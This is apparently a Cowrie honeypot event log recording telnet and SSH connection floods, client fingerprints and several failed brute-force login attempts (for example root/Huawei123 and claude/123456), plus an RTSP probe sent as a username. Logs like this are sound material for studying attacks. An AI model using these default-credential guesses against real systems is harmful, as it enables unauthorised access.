{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30982,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c5414160232","protocol":"telnet","message":"New connection: 104.155.98.147:30982 (159.203.135.109:23) [session: 5c5414160232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.505069Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e36d9ec1a0e","protocol":"telnet","message":"New connection: 104.155.98.147:30992 (159.203.135.109:23) [session: 0e36d9ec1a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.661558Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30994,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a7c174705db","protocol":"telnet","message":"New connection: 104.155.98.147:30994 (159.203.135.109:23) [session: 4a7c174705db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.818948Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31004,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0ba468a465","protocol":"telnet","message":"New connection: 104.155.98.147:31004 (159.203.135.109:23) [session: 9a0ba468a465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:40.972221Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31020,"dst_ip":"159.203.135.109","dst_port":23,"session":"811409460940","protocol":"telnet","message":"New connection: 104.155.98.147:31020 (159.203.135.109:23) [session: 811409460940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.126406Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31034,"dst_ip":"159.203.135.109","dst_port":23,"session":"e508fe7b0488","protocol":"telnet","message":"New connection: 104.155.98.147:31034 (159.203.135.109:23) [session: e508fe7b0488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.288122Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35204,"dst_ip":"159.203.135.109","dst_port":22,"session":"1810054b22d4","protocol":"ssh","message":"New connection: 45.153.34.114:35204 (159.203.135.109:22) [session: 1810054b22d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.293539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.301194Z","src_ip":"45.153.34.114","session":"1810054b22d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.393187Z","src_ip":"45.153.34.114","session":"1810054b22d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31048,"dst_ip":"159.203.135.109","dst_port":23,"session":"70fe77bbae94","protocol":"telnet","message":"New connection: 104.155.98.147:31048 (159.203.135.109:23) [session: 70fe77bbae94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.457351Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31056,"dst_ip":"159.203.135.109","dst_port":23,"session":"5de785678a5c","protocol":"telnet","message":"New connection: 104.155.98.147:31056 (159.203.135.109:23) [session: 5de785678a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.617354Z"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.648596Z","src_ip":"45.153.34.114","session":"1810054b22d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecfa983201fb","protocol":"telnet","message":"New connection: 104.155.98.147:31060 (159.203.135.109:23) [session: ecfa983201fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:41.851816Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31070,"dst_ip":"159.203.135.109","dst_port":23,"session":"52e24797cf9c","protocol":"telnet","message":"New connection: 104.155.98.147:31070 (159.203.135.109:23) [session: 52e24797cf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.008264Z"}
{"eventid":"cowrie.session.closed","duration":0.005090236663818359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.013206Z","src_ip":"104.155.98.147","session":"52e24797cf9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31080,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba900ea1636","protocol":"telnet","message":"New connection: 104.155.98.147:31080 (159.203.135.109:23) [session: cba900ea1636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.164188Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31086,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca90e7572655","protocol":"telnet","message":"New connection: 104.155.98.147:31086 (159.203.135.109:23) [session: ca90e7572655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.320620Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31092,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c557783a1ff","protocol":"telnet","message":"New connection: 104.155.98.147:31092 (159.203.135.109:23) [session: 7c557783a1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.477314Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31098,"dst_ip":"159.203.135.109","dst_port":23,"session":"c720a0fd98ff","protocol":"telnet","message":"New connection: 104.155.98.147:31098 (159.203.135.109:23) [session: c720a0fd98ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.633426Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.739733Z","src_ip":"45.153.34.114","session":"1810054b22d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31102,"dst_ip":"159.203.135.109","dst_port":23,"session":"e763f9d9910b","protocol":"telnet","message":"New connection: 104.155.98.147:31102 (159.203.135.109:23) [session: e763f9d9910b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.789932Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31112,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7162d677d40","protocol":"telnet","message":"New connection: 104.155.98.147:31112 (159.203.135.109:23) [session: a7162d677d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:42.946952Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31124,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e7379b4ae86","protocol":"telnet","message":"New connection: 104.155.98.147:31124 (159.203.135.109:23) [session: 2e7379b4ae86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.102523Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31140,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae220436f679","protocol":"telnet","message":"New connection: 104.155.98.147:31140 (159.203.135.109:23) [session: ae220436f679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.256688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31152,"dst_ip":"159.203.135.109","dst_port":23,"session":"3448e999a4d7","protocol":"telnet","message":"New connection: 104.155.98.147:31152 (159.203.135.109:23) [session: 3448e999a4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.413255Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.418640Z","src_ip":"104.155.98.147","session":"3448e999a4d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31168,"dst_ip":"159.203.135.109","dst_port":23,"session":"7439178cc823","protocol":"telnet","message":"New connection: 104.155.98.147:31168 (159.203.135.109:23) [session: 7439178cc823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.572416Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc01ae74a0a","protocol":"telnet","message":"New connection: 104.155.98.147:31176 (159.203.135.109:23) [session: 8fc01ae74a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.728676Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ba73699005","protocol":"telnet","message":"New connection: 104.155.98.147:31186 (159.203.135.109:23) [session: e7ba73699005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:43.884871Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31190,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed57998ee9c","protocol":"telnet","message":"New connection: 104.155.98.147:31190 (159.203.135.109:23) [session: 1ed57998ee9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.041801Z"}
{"eventid":"cowrie.session.closed","duration":0.5099287033081055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.082230Z","src_ip":"104.155.98.147","session":"7439178cc823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.3610527515411377,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.089581Z","src_ip":"104.155.98.147","session":"8fc01ae74a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6802549362182617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.093362Z","src_ip":"104.155.98.147","session":"3448e999a4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8404951095581055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.097104Z","src_ip":"104.155.98.147","session":"ae220436f679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9999547004699707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.102323Z","src_ip":"104.155.98.147","session":"2e7379b4ae86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1597106456756592,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.106353Z","src_ip":"104.155.98.147","session":"a7162d677d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3203091621398926,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.110118Z","src_ip":"104.155.98.147","session":"e763f9d9910b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4807546138763428,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.114027Z","src_ip":"104.155.98.147","session":"c720a0fd98ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6475889682769775,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.124748Z","src_ip":"104.155.98.147","session":"7c557783a1ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8082962036132812,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.128805Z","src_ip":"104.155.98.147","session":"ca90e7572655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9686362743377686,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.132694Z","src_ip":"104.155.98.147","session":"cba900ea1636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.285261392593384,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.136953Z","src_ip":"104.155.98.147","session":"ecfa983201fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6833925247192383,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.140610Z","src_ip":"104.155.98.147","session":"70fe77bbae94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5268964767456055,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.144109Z","src_ip":"104.155.98.147","session":"5de785678a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8600385189056396,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.148014Z","src_ip":"104.155.98.147","session":"e508fe7b0488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0254015922546387,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.151670Z","src_ip":"104.155.98.147","session":"811409460940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1850855350494385,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.157124Z","src_ip":"104.155.98.147","session":"9a0ba468a465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.499284505844116,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.160729Z","src_ip":"104.155.98.147","session":"0e36d9ec1a0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3454911708831787,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.164143Z","src_ip":"104.155.98.147","session":"4a7c174705db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6627843379974365,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.167752Z","src_ip":"104.155.98.147","session":"5c5414160232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.2864515781402588,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.171173Z","src_ip":"104.155.98.147","session":"e7ba73699005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.476606369018555,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.188854Z","src_ip":"104.155.98.147","session":"355a03a5fe06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.179184436798096,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.206380Z","src_ip":"104.155.98.147","session":"748ce41165b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9cc4885e0a","protocol":"telnet","message":"New connection: 104.155.98.147:31204 (159.203.135.109:23) [session: ee9cc4885e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.211147Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31214,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fbc9b52b923","protocol":"telnet","message":"New connection: 104.155.98.147:31214 (159.203.135.109:23) [session: 9fbc9b52b923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.367652Z"}
{"eventid":"cowrie.session.closed","duration":0.005823373794555664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.373328Z","src_ip":"104.155.98.147","session":"9fbc9b52b923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31226,"dst_ip":"159.203.135.109","dst_port":23,"session":"d863dfe6b2e8","protocol":"telnet","message":"New connection: 104.155.98.147:31226 (159.203.135.109:23) [session: d863dfe6b2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.523726Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":31240,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d18b9c5f82d","protocol":"telnet","message":"New connection: 104.155.98.147:31240 (159.203.135.109:23) [session: 3d18b9c5f82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.679750Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 5973","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 5973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:44.684091Z","src_ip":"104.155.98.147","session":"3d18b9c5f82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35214,"dst_ip":"159.203.135.109","dst_port":22,"session":"01ed246baee7","protocol":"ssh","message":"New connection: 45.153.34.114:35214 (159.203.135.109:22) [session: 01ed246baee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:49.229232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:49.234280Z","src_ip":"45.153.34.114","session":"01ed246baee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:49.318166Z","src_ip":"45.153.34.114","session":"01ed246baee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:49.572128Z","src_ip":"45.153.34.114","session":"01ed246baee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:50.657913Z","src_ip":"45.153.34.114","session":"01ed246baee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60758,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14742d565d2","protocol":"ssh","message":"New connection: 103.75.199.4:60758 (159.203.135.109:22) [session: b14742d565d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:50.897542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:50.903004Z","src_ip":"103.75.199.4","session":"b14742d565d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:51.004546Z","src_ip":"103.75.199.4","session":"b14742d565d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:51.291189Z","src_ip":"103.75.199.4","session":"b14742d565d2","protocol":"ssh"}
